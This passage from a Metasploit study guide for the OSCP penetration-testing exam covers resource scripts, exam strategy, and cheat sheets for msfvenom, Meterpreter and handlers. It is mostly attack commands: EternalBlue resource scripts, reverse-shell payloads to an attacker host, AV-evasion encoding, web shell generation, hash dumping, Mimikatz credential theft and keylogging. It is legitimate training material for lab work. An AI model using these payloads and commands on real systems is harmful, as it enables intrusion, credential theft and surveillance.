db_nmap -sV -p 22,80,443,445 10.10.10.10

# OS detection
db_nmap -O 10.10.10.10

13.3 Querying the Database

# List all hosts
db_hosts

# List hosts with specific service
db_services -p 445

# List credentials
db_cred

# Search for specific host
db_hosts -c address,os_name 10.10.10.10

# List vulnerabilities
db_vulns

13.4 Adding Credentials to Database

# Add a credential manually
db_cred add -a 10.10.10.10 -m smb -u admin -p password123

# Import credentials from a file
db_import /path/to/nmap.xml

14. Workspace Management

14.1 Workspace Commands

# List workspaces
workspace -l
workspace -L    # With details

# Create a new workspace
workspace -a <name>
workspace -a lab1

# Switch to a workspace
workspace <name>
workspace lab1

# Delete a workspace
workspace -d <name>
workspace -d lab1

# Clear current workspace
workspace -C

# Show current workspace
workspace

14.2 Workspace Best Practices

Practice Description
One workspace per lab Keep data organized
Name meaningfully Use target names or lab numbers
Export before deleting db_export for records
Clear old workspaces Avoid clutter

15. Resource Scripts

15.1 What are Resource Scripts?

  • Text files containing msfconsole commands
  • Automate repetitive tasks
  • Execute a sequence of commands without manual input
  • Critical for OSCP exam efficiency

15.2 Creating a Resource Script

# Create a resource script
nano exploit.rc

# Content example:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

15.3 Running Resource Scripts

# Method 1: From command line
msfconsole -r /path/to/exploit.rc

# Method 2: From within msfconsole
msf6 > resource /path/to/exploit.rc
msf6 > resource /path/to/exploit.rc
msf6 > r /path/to/exploit.rc    # Short form

15.4 Handler Resource Script

# handler.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z
# Run the handler
msfconsole -r handler.rc

15.5 Multi-Target Resource Script

# multi_exploit.rc
# Target 1
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z

# Target 2
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.20
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z

15.6 OSCP Resource Script Template

# oscp_template.rc
# === Configuration ===
setg LHOST 10.10.14.5
setg LPORT 4444

# === Handler (background) ===
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j -z

# === Exploit ===
use exploit/<path>/to/exploit
set RHOSTS 10.10.10.10
exploit

16. Metasploit in OSCP Exam Context

16.1 OSCP Exam Rules on Metasploit

Rule Detail
Allowed Metasploit is fully allowed in the OSCP exam
Documentation Must document all Metasploit usage in the report
Commands Record exact commands used
Screenshots Include screenshots of Metasploit output
No restriction No limit on module usage

16.2 Common OSCP Metasploit Scenarios

Scenario Module/Tool Frequency
MS17-010 EternalBlue exploit/windows/smb/ms17_010_eternalblue Very High
SMB exploitation Various SMB exploits High
Web app exploitation exploit/multi/http/ modules High
Payload generation msfvenom Very High
Handler setup exploit/multi/handler Very High
Port scanning auxiliary/scanner/portscan/tcp Medium
Brute force auxiliary/scanner/*/_login Medium
Script delivery exploit/multi/script/web_delivery High
SOCKS pivoting auxiliary/server/socks_proxy Medium
Credential dumping post/windows/gather/smart_hashdump High

16.3 Most Used Modules in OSCP

Top Exploits

Module Vulnerability Target
exploit/windows/smb/ms17_010_eternalblue EternalBlue Windows SMB
exploit/windows/smb/ms08_067_netapi Conficker Windows SMB
exploit/multi/http/struts_code_exec Struts RCE Java web
exploit/multi/http/apache_struts_code_exec Struts RCE Java web
exploit/windows/http/ Various IIS/ASP
exploit/multi/script/web_delivery Script delivery Multi
exploit/multi/samba/ Samba Linux

Top Payloads

Payload Use Case
windows/x64/meterpreter/reverse_tcp Windows x64 targets
windows/meterpreter/reverse_tcp Windows x86 targets
linux/x64/meterpreter/reverse_tcp Linux x64 targets
linux/x86/meterpreter/reverse_tcp Linux x86 targets
windows/shell/reverse_tcp When Meterpreter fails

Top Post Modules

Module Use Case
post/multi/recon/local_exploit_suggester Find privesc exploits
post/windows/gather/smart_hashdump Dump hashes
post/windows/escalate/getsystem Get SYSTEM
post/windows/gather/enum_users Enumerate users

16.4 OSCP Exam Strategy

graph TB
    A[Recon with nmap] --> B{Vulnerability Found?}
    B -->|Known CVE| C[Search Metasploit]
    B -->|Unknown| D[Manual Exploitation]
    C --> E{Module Exists?}
    E -->|Yes| F[Use Metasploit]
    E -->|No| D
    F --> G[Get Session]
    D --> G
    G --> H[Meterpreter Post-Exploitation]
    H --> I[Privilege Escalation]
    I --> J{Admin Root?}
    J -->|No| K[local_exploit_suggester]
    J -->|Yes| L[Capture Flags]
    K --> M[Find Exploit]
    M --> I
    L --> N[Document Everything]

16.5 Documentation Requirements

For each Metasploit action in your report:

  1. State the module used
  2. Show the configuration
  3. Show the execution command
  4. Show the output/success
  5. Explain what was achieved

Example Report Entry:

## Exploitation via MS17-010

**Vulnerability:** MS17-010 EternalBlue (CVE-2017-0144)
**Module:** exploit/windows/smb/ms17_010_eternalblue

### Commands Used:
```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Result:

Successfully obtained a Meterpreter session as NT AUTHORITY\SYSTEM.


---

## 17. When to Use vs When to Avoid Metasploit

### 17.1 Decision Framework

```mermaid
graph TD
    A[Vulnerability Identified] --> B{Known CVE?}
    B -->|Yes| C{Metasploit Module Exists?}
    B -->|No| D[Manual Exploitation]
    C -->|Yes| E{Reliable Module?}
    C -->|No| D
    E -->|Yes| F[Use Metasploit]
    E -->|Unreliable| G[Try Manual First]
    G --> H{Manual Works?}
    H -->|Yes| D
    H -->|No| F

17.2 When to USE Metasploit

Scenario Reason
Known CVE with module Fastest path to exploitation
Complex exploits EternalBlue, etc. are hard to do manually
Payload generation msfvenom is unmatched for custom payloads
Meterpreter needed Best-in-class post-exploitation
Time pressure Exam efficiency matters
Reliable module confirmed Community-tested modules
Pivoting/SOCKS Built-in routing is convenient
Script delivery web_delivery is very reliable

17.3 When to AVOID Metasploit

Scenario Reason Alternative
Simple service exploit Overkill Manual exploitation
Module is unreliable May fail or crash Write custom exploit
Learning purposes Understand the vuln Manual first
No matching module Not available Searchsploit + manual
Web app logic bugs Metasploit can’t help Manual testing
Custom vulnerabilities No module exists Python/Perl scripts
Module detection risk AV may detect Manual/encoded payload
Phase Tool Preference
Reconnaissance nmap (primary), Metasploit scanners (secondary)
Exploitation Metasploit if reliable module exists; manual otherwise
Payload Generation msfvenom (primary), manual shellcode (if needed)
Post-Exploitation Meterpreter (primary), manual commands (supplement)
Privilege Escalation Manual research (primary), Metasploit suggester (supplement)
Pivoting Metasploit routing/SOCKS (primary), ssh tunneling (alternative)

17.5 Golden Rules

  1. Always try manual exploitation first for understanding and report quality
  2. Use Metasploit as a fallback when manual is too complex or time-consuming
  3. Document everything regardless of tool choice
  4. Verify module reliability before using in the exam
  5. Have manual alternatives ready in case Metasploit fails
  6. msfvenom is always worth using for payload generation
  7. Meterpreter is your best friend for post-exploitation

18. Quick Reference Cheat Sheet

18.1 Essential Commands

# === Launch ===
msfconsole -q                    # Quiet mode
msfconsole -r script.rc          # With resource script

# === Search ===
search <keyword>
search type:exploit platform:windows
searchsploit <keyword>

# === Module Usage ===
use <module_path>
show options
show advanced
show payloads
show targets
info

# === Options ===
set <OPTION> <value>
setg <OPTION> <value>            # Global
unset <OPTION>

# === Execution ===
exploit                          # Foreground
exploit -j                       # Background job
exploit -j -z                    # Background + auto-session

# === Sessions ===
sessions                         # List sessions
sessions -i <id>                 # Interact
sessions -u <id>                 # Upgrade shell
sessions -k <id>                 # Kill session

# === Database ===
db_status
db_nmap <args>
db_hosts
db_services
db_export -f xml -o report.xml

# === Workspace ===
workspace -a <name>
workspace <name>
workspace -l

18.2 msfvenom Quick Reference

# Windows x64 Meterpreter Reverse TCP
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe

# Windows x86 Meterpreter Reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe

# Linux x64 Meterpreter Reverse TCP
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f elf -o payload.elf

# With encoding
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> \
  -e x86/shikata_ga_nai -i 5 \
  -b '\x00\x0a\x0d' \
  -f exe -o payload.exe

# PowerShell one-liner
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f psh-cmd

# PHP web shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f raw > shell.php

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

18.3 Meterpreter Quick Reference

# === Basic ===
help
getuid
sysinfo
background

# === Privilege ===
getsystem
getprivs

# === File Operations ===
upload <local> <remote>
download <remote> <local>
search -f <filename>
cat <file>
execute -f <file> -i    # Interactive

# === Network ===
ipconfig
portfwd add -l <lport> -p <rport> -r <rhost>
route add <subnet> <mask> <session>

# === Credentials ===
load kiwi
creds_all
wdigest
kerberos

# === Scripts ===
run local_exploit_suggester
run smart_hashdump
run getsystem

# === Stealth ===
screenshot
keyscan_start
keyscan_dump
keyscan_stop

18.4 Handler Setup

# Standard handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z

# Handler with encoding (for AV evasion)
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
set StageEncoderFallback true
exploit -j -z

18.5 Common Payloads Reference

Target Payload
Windows x64 windows/x64/meterpreter/reverse_tcp
Windows x86 windows/meterpreter/reverse_tcp
Linux x64 linux/x64/meterpreter/reverse_tcp
Linux x86 linux/x86/meterpreter/reverse_tcp
Windows x64 (shell) windows/x64/shell/reverse_tcp
Linux x64 (shell) linux/x64/shell/reverse_tcp
PHP web php/meterpreter/reverse_tcp
Java JSP java/jsp_shell_reverse_tcp
Python python/meterpreter/reverse_tcp

18.6 Port Reference

Port Service Common Modules
21 FTP scanner/ftp/ftp_login
22 SSH scanner/ssh/ssh_login
80 HTTP scanner/http/title
135 RPC Various Windows exploits
139 NetBIOS SMB exploits
443 HTTPS Web exploits
445 SMB ms17_010_eternalblue, etc.
1433 MSSQL admin/mssql/mssql_exec
3306 MySQL scanner/mysql/mysql_login
3389 RDP scanner/rdp/rdp_login
5900 VNC scanner/vnc/vnc_login
8080 HTTP-Alt Web exploits

Appendix A: Troubleshooting

A.1 Common Issues

Problem Solution
Session dies immediately Migrate process: migrate <pid>
Payload blocked by AV Use encoding or manual payload
Cannot connect to target Check firewall, verify RHOSTS
LHOST wrong Verify TUN0 interface IP
Module fails Check target compatibility
Database not connected sudo msfdb start
Meterpreter stuck Try background then sessions -i
getsystem fails Try post module instead

A.2 Session Stability Tips

  1. Migrate to a stable process (explorer.exe, svchost.exe)
  2. Use -j -z flags for automatic session handling
  3. Set AutoRunScript for post-exploitation automation
  4. Use set ExitOnSession false to keep exploit running
# Stable handler configuration
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
set AutoRunScript migrate -f
exploit -j -z

Appendix B: OSCP Report Template for Metasploit

## Exploitation

### Vulnerability
- **Name:** [Vulnerability Name]
- **CVE:** [CVE Number]
- **CVSS:** [Score]
- **Service:** [Service and Version]
- **Port:** [Port Number]

### Exploitation Method
Metasploit Framework was used to exploit [vulnerability].

### Commands
\`\`\`bash
use exploit/<module_path>
set RHOSTS <target_ip>
set LHOST <attacker_ip>
set PAYLOAD <payload>
exploit
\`\`\`

### Result
A Meterpreter session was obtained as [user/context].

### Screenshots
[Include screenshot of successful exploitation]

End of Metasploit Framework Study Guide

Remember: Metasploit is a powerful tool, but understanding the underlying vulnerabilities is what makes you a skilled penetration tester. Use Metasploit to accelerate your workflow, not to replace your knowledge.